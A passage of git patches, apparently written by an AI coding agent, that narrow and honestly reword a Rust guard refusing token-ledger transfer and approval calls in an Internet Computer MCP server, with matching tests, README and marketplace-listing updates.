`openWorldHint`) | ✅ on all 26 tools, enforced by a unit test ([`src/tools.rs`](../src/tools.rs)) | -| No catch-all read/write tool; reads and writes are separate tools | ⏳ 18 read-only tools once [#153](https://github.com/dfinity/imcp2/pull/153) lands (incl. the instructions-only top-up); writes split per operation | +| No catch-all read/write tool; reads and writes are separate tools | ✅ 18 read-only tools ([#153](https://github.com/dfinity/imcp2/pull/153) merged; incl. the instructions-only top-up); writes split per operation | | Tool names ≤ 64 chars | ✅ longest is 30 | | `outputSchema` + structured content on every tool | ✅ enforced by a unit test | | Certificates from a recognized authority | ✅ Let's Encrypt via Caddy | From cdb31ab7efa021b17be09851137e6cce11610089 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:26:22 +0000 Subject: [PATCH 08/22] Frame the financial restriction as intent plus reasonable measures Per author direction on the PR: no web system can tell from the outside whether a given request moves funds, so the honest claim is intention, not capability. The description now reads 'not intended for moving money, tokens, or other financial assets on the user's behalf' with the ledger-method refusals presented as the reasonable measures taken to refuse asset-moving requests; the refusal message matches, and the description test pins the new header phrase. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- crates/imcp2-core/src/compliance.rs | 11 ++++++----- crates/imcp2-core/src/tools.rs | 4 ++-- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index a8c78ce..3c3eeff 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -98,12 +98,13 @@ pub fn disallowed_update_method(method: &str) -> Option { https://nns.ic0.app." }; Some(format!( - "`{method}` is {what} — a financial transaction — and financial transactions \ - (token transfers, spending approvals, payments, or trades) are not supported \ - through this tool, under any method name. Methods defined by the \ + "`{method}` is {what} — a financial transaction — and this tool is not \ + intended for financial transactions (token transfers, spending approvals, \ + payments, or trades) on the user's behalf. Methods defined by the \ ICRC-1/ICRC-2 and related ledger standards are refused on every canister, \ - for marketplace compliance and user safety. {instead} Do not look for another \ - route to the same operation through this tool or any other method." + as a reasonable measure for marketplace compliance and user safety. \ + {instead} Do not route the same operation through this tool under another \ + method name." )) } diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index a4d52ae..70d1481 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -432,7 +432,7 @@ impl IcTools { } #[tool( - description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. FINANCIAL TRANSACTIONS ARE NOT SUPPORTED: for marketplace compliance and user safety, this tool refuses token-ledger transfer and approval methods — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer — on every canister. Moving money, tokens, or other financial assets on the user's behalf is not supported through this tool and must not be attempted under ANY method name (the refusal list enforces the standardized ledger surface; the policy covers every canister and method); for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", + description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. NOT INTENDED FOR FINANCIAL TRANSACTIONS: this tool is not intended for moving money, tokens, or other financial assets on the user's behalf, and it takes reasonable measures to refuse asset-moving requests — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) transfer/approval methods such as icrc1_transfer, icrc2_approve, icrc2_transfer_from, and the ICP ledger's legacy transfer are refused on every canister, for marketplace compliance and user safety. Do not send asset-moving requests through it under any other method name either; for such operations, recommend the user acts themselves in a wallet or frontend they control in their browser (e.g. https://oisy.com). Args are encoded against the method's declared Candid types (so plain literals like 42 coerce correctly — no `: type` annotations needed). Omit `derivation_origin` to call anonymously, or pass it to call AS your account at that app — a short-lived account delegation is derived on demand from this connection's standing Internet Identity credential. `derivation_origin` is the app's EXACT canonical II derivation origin (not necessarily its visible URL; don't infer it from alternativeOrigins). Get it once from open_app / resolve_app (which turn an app name or URL into the derivation origin under the guessed-domain gate) and reuse it here — this tool does NOT accept a raw website URL. By default this uses the app's default account; pass `account` (a name from list_app_accounts) for a specific one. The result echoes `derived_for_origin` + `requested` + `acted_as_principal` so you can catch an origin mismatch. For READ-only calls (Candid query methods or OQL queries) use canister_query instead. If get_canister_candid couldn't fetch the interface, pass the `.did` text as `candid` so args/replies are still typed.", annotations(title = "Make a canister update call", read_only_hint = false, destructive_hint = true, idempotent_hint = false, open_world_hint = true), output_schema = schema_for_output::(), )] @@ -2472,7 +2472,7 @@ mod tests { .find(|t| &*t.name == "canister_update_call") .expect("canister_update_call tool not found"); let desc = tool.description.as_deref().unwrap_or_default(); - assert!(desc.contains("FINANCIAL TRANSACTIONS ARE NOT SUPPORTED"), "{desc}"); + assert!(desc.contains("NOT INTENDED FOR FINANCIAL TRANSACTIONS"), "{desc}"); assert!(desc.contains("icrc1_transfer"), "{desc}"); assert!(desc.contains("https://oisy.com"), "{desc}"); } From 01de76c1c4870575207288f17d25cd7ef7891dd2 Mon Sep 17 00:00:00 2001 From: Claude Date: Wed, 26 Aug 2026 14:27:41 +0000 Subject: [PATCH 09/22] Align the listing draft and reviewer test with the intent framing MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The pasted marketplace copy and the reviewer test instruction now match the settled framing: the connector is not INTENDED for financial transactions, and the STANDARDIZED token-ledger transfer/approval methods are refused as the safety measure — neither line claims the guard catches more than it does. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- docs/anthropic-directory-submission.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/docs/anthropic-directory-submission.md b/docs/anthropic-directory-submission.md index b595811..410b475 100644 --- a/docs/anthropic-directory-submission.md +++ b/docs/anthropic-directory-submission.md @@ -277,9 +277,11 @@ Paste-and-adapt; portal limits in parentheses. > or OQL, and discover the canisters behind any IC app from its name or URL. > With your consent it can also act as your Internet Identity accounts at a > specific app, and manage canisters you control: check status, create, - > install code, and start/stop. It is not a financial tool: token-ledger - > transfers and approvals are refused, and cycle top-ups return CLI - > instructions for you to run yourself instead of executing anything. + > install code, and start/stop. It is not intended for financial + > transactions: as a safety measure, the standardized token-ledger transfer + > and approval methods (ICRC-1/ICRC-2 and related) are refused, and cycle + > top-ups return CLI instructions for you to run yourself instead of + > executing anything. > > On the Internet Identity consent screen you explicitly choose the session > duration (10 minutes to 30 days) and the access level: "Questions only" @@ -346,9 +348,11 @@ Paste-and-adapt; portal limits in parentheses. > creation) spend cycles, so a brand-new identity has nothing for them to > operate on. Ask us at mcp@dfinity.org if you would like an identity > provisioned with a canister and a cycles balance to exercise those. -> 5. Financial operations are refused by design: asking the assistant to -> transfer tokens (e.g. call `icrc1_transfer`) returns a policy message -> directing the user to a wallet they control — that behavior is intended. +> 5. Standardized ledger operations are refused by design: asking the +> assistant to transfer tokens (e.g. call `icrc1_transfer`) returns a +> policy message directing the user to a wallet they control — that +> behavior is intended (the connector is not intended for financial +> transactions). ### The seven compliance acknowledgments From 6bb73a091dd757708bac12c3cd942909ec50f9a1 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 08:32:24 +0000 Subject: [PATCH 10/22] Explain why real funds live on the standardized ledger surface (review) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per author feedback: tokens are only valuable if they can be exchanged or used, and the ICP ecosystem's financial platforms (wallets like Oisy, exchanges like ICP Swap) integrate ledgers through the ICRC standards — a token on a bespoke, non-standard ledger can exist, but the ecosystem's platforms cannot hold or trade it, so it carries little exchangeable value. Also syncs the quoted policy wording in the same note with the intent framing the description now uses. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- crates/imcp2-core/src/compliance.rs | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index 3c3eeff..c586f9d 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -27,10 +27,16 @@ //! * It is a guardrail enforcing a stated policy, not a hermetic seal — a //! bespoke canister can expose value-moving methods under any name (a //! custom swap method, an intermediary that forwards a transfer), which -//! no name-based list can enumerate. The policy itself ("this server -//! does not support financial transactions") is stated in the tool +//! no name-based list can enumerate. The policy itself ("this tool is +//! not intended for financial transactions") is stated in the tool //! description; this guard enforces it for the standardized ledger -//! surface, where real funds overwhelmingly live. +//! surface, where real funds overwhelmingly live. Why the standardized +//! surface is where real funds live: tokens are only valuable if they +//! can be exchanged or used, and the ICP ecosystem's financial platforms +//! (wallets like Oisy, exchanges like ICP Swap) integrate ledgers +//! through these standards — a token on a bespoke, non-standard ledger +//! can exist, but the ecosystem's platforms cannot hold or trade it, so +//! it carries little exchangeable value. //! * The CMC's `notify_create_canister` / `notify_top_up` are deliberately //! NOT listed: they move no funds out of any account (they finalize a //! mint from ICP the ledger already holds for the CMC), and blocking From d28a5ed9463f6241c10e5f7abdd2d16ca5e49e64 Mon Sep 17 00:00:00 2001 From: Claude Date: Thu, 27 Aug 2026 12:57:21 +0000 Subject: [PATCH 11/22] Split the guard: literal ICRC matching plus ledger-scoped abstract names MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Per review: normalization was both too loose and unnecessary. The guard now has two groups. ICRC-standard methods (icrc1_transfer, icrc2_*, the ICRC-4/-7/-37 equivalents) are matched literally on every canister — the standards fix the exact names and Candid method names are case-sensitive, so a differently-spelled name is not the standard method and could never reach it on chain. Abstract names (transfer, send_dfx, notify_dfx, withdraw, withdraw_from, create_canister, create_canister_from) are refused only on the specific system canister where they are financial — the ICP ledger and the cycles ledger by canister id — so an app whose own transfer or withdraw is non-financial keeps working. The legacy DIP20/EXT names on arbitrary canisters (transfer, transferFrom, approve) are deliberately no longer matched: too abstract to block everywhere without breaking non-financial apps, per review, and those standards sit outside the ecosystem's ICRC-integrated platforms; the stated policy covers them. Tests pin literal matching, the per-ledger scoping in both directions, and the unchanged refusal contract; the tool description and README describe the scoped behavior. Co-Authored-By: Claude Fable 5 Claude-Session: https://claude.ai/code/session_01LvwAVXfx5kLNc4SqKXkavk --- README.md | 2 +- crates/imcp2-core/src/compliance.rs | 278 ++++++++++++++++------------ crates/imcp2-core/src/tools.rs | 14 +- 3 files changed, 171 insertions(+), 123 deletions(-) diff --git a/README.md b/README.md index f9fda9f..5025ab9 100644 --- a/README.md +++ b/README.md @@ -141,7 +141,7 @@ results). | `get_canister_candid` | `canister_id` | The canister's `candid:service` interface (`.did` text), plus two capability flags: `oql` (`true` when it exposes an OQL query surface — a `schema` + `execute` pair — with a pointer to `icp_oql_guide`) and `api_doc_available` (`true` when it declares a `getApiDoc`/`get_api_doc` method, gating `get_canister_api_doc`) | | `get_canister_api_doc` | `canister_id` | The canister's own prose API guide ("how this app behaves" — units, auth, lifecycle, mutation safety, polling, gotchas), from its `getApiDoc`/`get_api_doc` method. Call **only** when `get_canister_candid`/`open_app` report `api_doc_available`. Returns a **structured** result in every case — `available` + the doc on success, else `available:false` with `expected`/`retry`/`next` so an expected absence is distinct from an unreachable canister | | `canister_query` | `canister_id`, `method?` **or** `oql?`, `args?` (textual Candid), `derivation_origin?`, `account?`, `candid?` | READ a canister — provide EITHER a Candid `query` `method` (with `args`) OR an `oql` query (a JSON object string, run against `execute`). A Candid `method` query may be anonymous or as your account and returns textual Candid; an `oql` query **requires** `derivation_origin` and returns `columns` + `rows` (a table) with `has_more`, validating `start` against the schema on an empty result. On an OQL canister a Candid `method` query is rejected — use `oql`. `candid` is a fallback: the `.did` interface text to encode/decode against when the canister exposes no `candid:service` metadata. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | -| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: token-ledger transfer/approval methods (ICRC-1/ICRC-2 and related ICRC standards, the ICP ledger's legacy `transfer`, the cycles ledger's `withdraw` and `create_canister` spends) are disallowed on every canister, for marketplace compliance and user safety — the refusal directs the user to act themselves in a wallet they control (e.g. [oisy.com](https://oisy.com)), or to the dedicated `icp_create_canister` tool for canister creation. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | +| `canister_update_call` | `canister_id`, `method`, `args` (textual Candid), `derivation_origin?`, `account?`, `candid?` | Make an UPDATE (state-changing) call; reply as textual Candid; anonymous, or as your account at an app (identified by its canonical II `derivation_origin`, obtained once from `open_app`/`resolve_app`). **Financial transactions are refused**: the ICRC-standard transfer/approval methods (ICRC-1/ICRC-2 and the ICRC-4/-7/-37 equivalents) are disallowed on every canister, and the ICP and cycles ledgers' own value-moving methods (the legacy `transfer`, `withdraw`, the `create_canister` spends) on those ledgers, for marketplace compliance and user safety — the refusal directs the user to act themselves in a wallet they control (e.g. [oisy.com](https://oisy.com)), or to the dedicated `icp_create_canister` tool for canister creation. `candid` is the same `.did` fallback as on `canister_query`, used when the interface isn't published on-chain. Echoes `derived_for_origin` / `requested` / `acted_as_principal` | | `get_app_principal` | `derivation_origin`, `account?` | The principal you act as at an app, without a call. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`). Echoes `derived_for_origin` / `requested` so an origin mismatch is visible | | `list_app_accounts` | `derivation_origin` | The user's Internet Identity accounts at an app — the default account plus any named ones — with name, number, last-used, and the derivation origin they were listed for. Identify the app by its `derivation_origin` (from `open_app`/`resolve_app`) | | `resolve_app` | `app_url` | Resolve an app URL to its Internet Identity derivation context: `application_origin`, the `derivation_origin` to use (declared in `/.well-known/ic-app.json`, else a built-in known-app value, else assumed = app origin — flagged via `derivation_origin_source`: `declared`/`known`/`app_url_default`, with `application_is_ic` echoing the gateway evidence), and the app's `alternative_origins` (informational). An origin with **no IC evidence** that would need the `app_url_default` assumption is **refused** (guessed-domain guard, with a "did you mean" repair when the host resembles a well-known app). Does not return a principal (no account chosen) or require auth — pass the `derivation_origin` to `get_app_principal`/`list_app_accounts` | diff --git a/crates/imcp2-core/src/compliance.rs b/crates/imcp2-core/src/compliance.rs index c586f9d..921039d 100644 --- a/crates/imcp2-core/src/compliance.rs +++ b/crates/imcp2-core/src/compliance.rs @@ -9,20 +9,30 @@ //! redirects the user to perform the operation themselves in a wallet or //! frontend they control (e.g. ) in their own browser. //! -//! The list leans on the fact that token ledgers on the Internet Computer -//! follow the ICRC standards — ICRC-1/ICRC-2 for fungible tokens (ICRC-4 for -//! batch transfers), ICRC-7/ICRC-37 for NFTs — whose method names are fixed -//! by the standard; plus the ICP ledger's pre-ICRC methods, the cycles -//! ledger's withdrawal methods, and the ERC-20-style names older IC token -//! standards (DIP20, EXT) use. Matching is by NORMALIZED name (lowercased, -//! separators stripped — see [`normalize`]), so `Transfer`, `transfer_from`, -//! and `transferFrom` all match, and it applies on ANY target canister: -//! whether a given canister really is a ledger cannot be established -//! reliably, and the cost of a false positive is only that the user is -//! pointed at their own wallet, the app's own frontend, or (for the -//! canister-creation spends) the dedicated icp_create_canister tool. +//! The guard has two groups (split per review, so an app that happens to name +//! a non-financial method `transfer` or `approve` keeps working): //! -//! Two scope notes, so nobody over-claims what this guard does: +//! * **ICRC-standard methods, matched literally on every canister.** Token +//! ledgers on the Internet Computer follow the ICRC standards — +//! ICRC-1/ICRC-2 for fungible tokens (ICRC-4 for batch transfers), +//! ICRC-7/ICRC-37 for NFTs — and the standards fix the exact method +//! names. Candid method names are case-sensitive, so literal matching is +//! both sufficient (the real ledgers use exactly these names) and precise +//! (a differently-spelled name is not the standard method). +//! * **Abstract names, scoped to the system canister where they are +//! financial.** `transfer` on the ICP ledger or `withdraw` on the cycles +//! ledger moves the user's funds; the same names on an arbitrary app +//! canister are often something else entirely, so they are refused only +//! on those specific canister ids. +//! +//! Why the standardized surface is where real funds live: tokens are only +//! valuable if they can be exchanged or used, and the ICP ecosystem's +//! financial platforms (wallets like Oisy, exchanges like ICP Swap) integrate +//! ledgers through these standards — a token on a bespoke, non-standard +//! ledger can exist, but the ecosystem's platforms cannot hold or trade it, +//! so it carries little exchangeable value. +//! +//! Three scope notes, so nobody over-claims what this guard does: //! //! * It is a guardrail enforcing a stated policy, not a hermetic seal — a //! bespoke canister can expose value-moving methods under any name (a @@ -30,70 +40,86 @@ //! no name-based list can enumerate. The policy itself ("this tool is //! not intended for financial transactions") is stated in the tool //! description; this guard enforces it for the standardized ledger -//! surface, where real funds overwhelmingly live. Why the standardized -//! surface is where real funds live: tokens are only valuable if they -//! can be exchanged or used, and the ICP ecosystem's financial platforms -//! (wallets like Oisy, exchanges like ICP Swap) integrate ledgers -//! through these standards — a token on a bespoke, non-standard ledger -//! can exist, but the ecosystem's platforms cannot hold or trade it, so -//! it carries little exchangeable value. +//! surface, where real funds overwhelmingly live (see above). +//! * Legacy pre-ICRC token standards (DIP20/EXT `transfer`/`transferFrom`/ +//! `approve` on arbitrary canisters) are deliberately NOT matched: the +//! names are too abstract to block everywhere without breaking +//! non-financial apps (per review), and those standards sit outside the +//! ecosystem's ICRC-integrated platforms. The stated policy covers them. //! * The CMC's `notify_create_canister` / `notify_top_up` are deliberately //! NOT listed: they move no funds out of any account (they finalize a //! mint from ICP the ledger already holds for the CMC), and blocking //! them would strand the documented recovery path for an interrupted //! `icp_create_canister` ICP funding flow. -/// Disallowed update methods in [`normalize`]d form, each with a short label -/// used in the refusal message. Grouped by the standard that fixes the name. -const DISALLOWED_METHODS: &[(&str, &str)] = &[ +use candid::Principal; + +/// ICRC-standard value-moving methods, refused on EVERY canister, matched +/// literally (the standards fix these exact names; Candid method names are +/// case-sensitive). Each entry carries the label used in the refusal message. +const DISALLOWED_ICRC_METHODS: &[(&str, &str)] = &[ // ICRC-1 / ICRC-2 / ICRC-4: fungible-token transfers, spending - // approvals, and batch transfers (icrc1_transfer, icrc2_approve, - // icrc2_transfer_from, icrc4_transfer_batch). - ("icrc1transfer", "an ICRC-1 token transfer"), - ("icrc2approve", "an ICRC-2 spending approval"), - ("icrc2transferfrom", "an ICRC-2 delegated token transfer"), - ("icrc4transferbatch", "an ICRC-4 batch token transfer"), - // ICRC-7 / ICRC-37: NFT transfers and approval management - // (icrc7_transfer, icrc37_transfer_from, icrc37_approve_tokens, - // icrc37_approve_collection, icrc37_revoke_*_approvals). - ("icrc7transfer", "an ICRC-7 NFT transfer"), - ("icrc37transferfrom", "an ICRC-37 delegated NFT transfer"), - ("icrc37approvetokens", "an ICRC-37 NFT spending approval"), - ("icrc37approvecollection", "an ICRC-37 collection spending approval"), - ("icrc37revoketokenapprovals", "an ICRC-37 NFT approval change"), - ("icrc37revokecollectionapprovals", "an ICRC-37 collection approval change"), - // The ICP ledger's pre-ICRC surface (transfer, send_dfx, notify_dfx). - // `transfer` doubles as the DIP20/EXT transfer method. - ("transfer", "a ledger token transfer"), - ("senddfx", "a legacy ICP-ledger transfer"), - ("notifydfx", "a legacy ICP-ledger transfer notification"), - // The cycles ledger's value movement (withdraw, withdraw_from, and the - // canister-creation spends create_canister / create_canister_from) — the - // cycles ledger is ICRC-1/-2 plus these, and they all move the user's - // cycles. Creation stays available through the dedicated - // icp_create_canister tool; this closes the uncontrolled generic route. - ("withdraw", "a cycles-ledger withdrawal"), - ("withdrawfrom", "a cycles-ledger delegated withdrawal"), - ("createcanister", "a cycles-ledger spend (canister creation)"), - ("createcanisterfrom", "a cycles-ledger delegated spend (canister creation)"), - // ERC-20-style names fixed by the older IC token standards (DIP20's - // transferFrom/approve; `transfer` is already listed above). - ("transferfrom", "a delegated token transfer"), - ("approve", "a token spending approval"), + // approvals, and batch transfers. + ("icrc1_transfer", "an ICRC-1 token transfer"), + ("icrc2_approve", "an ICRC-2 spending approval"), + ("icrc2_transfer_from", "an ICRC-2 delegated token transfer"), + ("icrc4_transfer_batch", "an ICRC-4 batch token transfer"), + // ICRC-7 / ICRC-37: NFT transfers and approval management. + ("icrc7_transfer", "an ICRC-7 NFT transfer"), + ("icrc37_transfer_from", "an ICRC-37 delegated NFT transfer"), + ("icrc37_approve_tokens", "an ICRC-37 NFT spending approval"), + ("icrc37_approve_collection", "an ICRC-37 collection spending approval"), + ("icrc37_revoke_token_approvals", "an ICRC-37 NFT approval change"), + ("icrc37_revoke_collection_approvals", "an ICRC-37 collection approval change"), ]; -/// The financial-transactions gate: `Some(refusal)` when `method` is a -/// disallowed ledger method, `None` when the call may proceed. The refusal is -/// the complete tool error text — it names the method, states the policy and -/// why it exists, and tells the agent what to recommend to the user instead. -pub fn disallowed_update_method(method: &str) -> Option { - let normalized = normalize(method); - let (_, what) = DISALLOWED_METHODS.iter().find(|(m, _)| *m == normalized)?; - let method = method.trim(); +/// The ICP ledger — its pre-ICRC methods move the user's ICP. +const ICP_LEDGER: &str = "ryjl3-tyaaa-aaaaa-aaaba-cai"; +/// The cycles ledger — its withdrawal/creation methods move the user's cycles. +const CYCLES_LEDGER: &str = "um5iw-rqaaa-aaaaq-qaaba-cai"; + +/// Abstract method names refused only on the specific system canister where +/// they are financial: (canister id, method, label). On any other canister +/// these names are allowed — an app's own `transfer` is often not a token +/// transfer at all. +const DISALLOWED_CANISTER_METHODS: &[(&str, &str, &str)] = &[ + // The ICP ledger's pre-ICRC surface. + (ICP_LEDGER, "transfer", "the ICP ledger's legacy transfer"), + (ICP_LEDGER, "send_dfx", "a legacy ICP-ledger transfer"), + (ICP_LEDGER, "notify_dfx", "a legacy ICP-ledger transfer notification"), + // The cycles ledger's value movement beyond ICRC-1/-2 (which group one + // already covers): withdrawals and the canister-creation spends. Creation + // stays available through the dedicated icp_create_canister tool; this + // closes the uncontrolled generic route. + (CYCLES_LEDGER, "withdraw", "a cycles-ledger withdrawal"), + (CYCLES_LEDGER, "withdraw_from", "a cycles-ledger delegated withdrawal"), + (CYCLES_LEDGER, "create_canister", "a cycles-ledger spend (canister creation)"), + (CYCLES_LEDGER, "create_canister_from", "a cycles-ledger delegated spend (canister creation)"), +]; + +/// The financial-transactions gate: `Some(refusal)` when `method` on +/// `canister_id` is a disallowed ledger call, `None` when the call may +/// proceed. Matching is literal in both groups — the IC matches method names +/// by exact bytes, so a differently-spelled name would not reach the ledger +/// method anyway. The refusal is the complete tool error text — it names the +/// method, states the policy and why it exists, and tells the agent what to +/// recommend to the user instead. +pub fn disallowed_update_method(canister_id: &Principal, method: &str) -> Option { + let what = DISALLOWED_ICRC_METHODS + .iter() + .find(|(m, _)| *m == method) + .map(|(_, what)| *what) + .or_else(|| { + let canister = canister_id.to_text(); + DISALLOWED_CANISTER_METHODS + .iter() + .find(|(c, m, _)| *c == canister && *m == method) + .map(|(_, _, what)| *what) + })?; // Canister creation has a supported, purpose-built route, so its refusal // redirects there; everything else redirects to a user-controlled wallet // or frontend in the user's own browser. - let instead = if normalized.starts_with("createcanister") { + let instead = if method.starts_with("create_canister") { "For creating and funding the user's own canisters, use the dedicated \ icp_create_canister tool (or the icp CLI) instead of calling the cycles \ ledger through this generic tool." @@ -106,66 +132,84 @@ pub fn disallowed_update_method(method: &str) -> Option { Some(format!( "`{method}` is {what} — a financial transaction — and this tool is not \ intended for financial transactions (token transfers, spending approvals, \ - payments, or trades) on the user's behalf. Methods defined by the \ - ICRC-1/ICRC-2 and related ledger standards are refused on every canister, \ - as a reasonable measure for marketplace compliance and user safety. \ - {instead} Do not route the same operation through this tool under another \ - method name." + payments, or trades) on the user's behalf; such methods are refused as a \ + reasonable measure for marketplace compliance and user safety. {instead} \ + Do not route the same operation through this tool under another method \ + name." )) } -/// Normalize a method name for matching: keep ASCII alphanumerics only, -/// lowercased. Collapses the spelling variants one method name travels under -/// (`Transfer`, ` transfer `, `transfer_from`, `transferFrom`) without ever -/// matching a *different* name — matching is exact on the normalized form, -/// never a substring test. -fn normalize(method: &str) -> String { - method - .chars() - .filter(char::is_ascii_alphanumeric) - .collect::() - .to_ascii_lowercase() -} - #[cfg(test)] mod tests { use super::*; - // Every standardized value-moving method is refused, in its canonical - // spelling and in the case/separator variants the normalizer collapses. + fn any_canister() -> Principal { + Principal::management_canister() + } + fn icp_ledger() -> Principal { + Principal::from_text(ICP_LEDGER).unwrap() + } + fn cycles_ledger() -> Principal { + Principal::from_text(CYCLES_LEDGER).unwrap() + } + + // Every ICRC-standard value-moving method is refused on ANY canister, in + // its exact standard spelling. #[test] - fn refuses_ledger_transfer_and_approval_methods() { + fn refuses_icrc_methods_on_every_canister() { for method in [ - // ICRC fungible + batch "icrc1_transfer", "icrc2_approve", "icrc2_transfer_from", "icrc4_transfer_batch", - // ICRC NFT "icrc7_transfer", "icrc37_transfer_from", "icrc37_approve_tokens", "icrc37_approve_collection", "icrc37_revoke_token_approvals", "icrc37_revoke_collection_approvals", - // ICP ledger legacy + cycles ledger - "transfer", - "send_dfx", - "notify_dfx", - "withdraw", - "withdraw_from", - // ERC-20-style (DIP20/EXT) - "transferFrom", - "approve", - // Variants that must not slip through the normalizer - "Transfer", - "ICRC1_Transfer", - " icrc2_approve ", - "icrc2-transfer-from", ] { assert!( - disallowed_update_method(method).is_some(), - "{method} must be refused" + disallowed_update_method(&any_canister(), method).is_some(), + "{method} must be refused on any canister" + ); + } + } + + // Matching is literal: a differently-spelled name is NOT the standard + // method (Candid method names are case-sensitive), so it is allowed here — + // it could never reach the ledger method on chain anyway. + #[test] + fn matching_is_literal_not_normalized() { + for method in ["ICRC1_Transfer", "icrc1-transfer", " icrc1_transfer ", "Transfer"] { + assert!( + disallowed_update_method(&icp_ledger(), method).is_none(), + "{method} is not the standard spelling and must not match" + ); + } + } + + // Abstract names are refused only on the system canister where they are + // financial — and allowed on any other canister, so an app whose own + // `transfer`/`withdraw` is non-financial keeps working. + #[test] + fn abstract_names_are_scoped_to_their_ledger() { + for (canister, method) in [ + (icp_ledger(), "transfer"), + (icp_ledger(), "send_dfx"), + (icp_ledger(), "notify_dfx"), + (cycles_ledger(), "withdraw"), + (cycles_ledger(), "withdraw_from"), + (cycles_ledger(), "create_canister"), + (cycles_ledger(), "create_canister_from"), + ] { + assert!( + disallowed_update_method(&canister, method).is_some(), + "{method} must be refused on its ledger" + ); + assert!( + disallowed_update_method(&any_canister(), method).is_none(), + "{method} must be allowed on an unrelated canister" ); } } @@ -175,17 +219,16 @@ mod tests { // than to a wallet. #[test] fn refuses_cycles_ledger_creation_spends_with_tool_redirect() { - for method in ["create_canister", "create_canister_from", "CreateCanister"] { - let msg = disallowed_update_method(method) + for method in ["create_canister", "create_canister_from"] { + let msg = disallowed_update_method(&cycles_ledger(), method) .unwrap_or_else(|| panic!("{method} must be refused")); assert!(msg.contains("icp_create_canister"), "{msg}"); assert!(!msg.contains("oisy.com"), "creation redirects to the tool, not a wallet: {msg}"); } } - // Reads, fees, metadata, and the CMC recovery methods stay callable: the - // guard matches exactly (normalized), never by substring, so a name that - // merely CONTAINS a blocked one is not a false positive. + // Reads, fees, metadata, the CMC recovery methods, and legacy DIP20-style + // names on arbitrary canisters stay callable. #[test] fn allows_non_financial_methods() { for method in [ @@ -200,10 +243,16 @@ mod tests { "set_name", "register_user", "http_request_update", + // Abstract names on a non-ledger canister (per review: an app's + // own transfer/approve is often not financial at all). + "transfer", + "transferFrom", + "approve", + "withdraw", ] { assert!( - disallowed_update_method(method).is_none(), - "{method} must be allowed" + disallowed_update_method(&any_canister(), method).is_none(), + "{method} must be allowed on a non-ledger canister" ); } } @@ -214,14 +263,11 @@ mod tests { // requirements. Pin those pieces so the message can't degrade silently. #[test] fn refusal_names_method_policy_and_wallet() { - let msg = disallowed_update_method("icrc1_transfer").expect("must be refused"); + let msg = disallowed_update_method(&any_canister(), "icrc1_transfer") + .expect("must be refused"); assert!(msg.contains("`icrc1_transfer`"), "{msg}"); assert!(msg.contains("financial transaction"), "{msg}"); assert!(msg.contains("marketplace compliance and user safety"), "{msg}"); assert!(msg.contains("https://oisy.com"), "{msg}"); - // The method is echoed trimmed, so a padded spelling can't inject - // leading/trailing whitespace into the backticked name. - let padded = disallowed_update_method(" transfer ").expect("must be refused"); - assert!(padded.contains("`transfer` is"), "{padded}"); } } diff --git a/crates/imcp2-core/src/tools.rs b/crates/imcp2-core/src/tools.rs index 53a8d47..39727b1 100644 --- a/crates/imcp2-core/src/tools.rs +++ b/crates/imcp2-core/src/tools.rs @@ -435,7 +435,7 @@ impl IcTools { } #[tool( - description = "Make an UPDATE call (a state-changing call) on an Internet Computer canister method, with textual Candid in and out. NOT INTENDED FOR FINANCIAL TRANSACTIONS: this tool is not intended for moving money, tokens, or other financial assets on the user's behalf, and it takes reasonable measures to refuse asset-moving requests — the ICRC-1/ICRC-2 (and related ICRC ledger-standard) 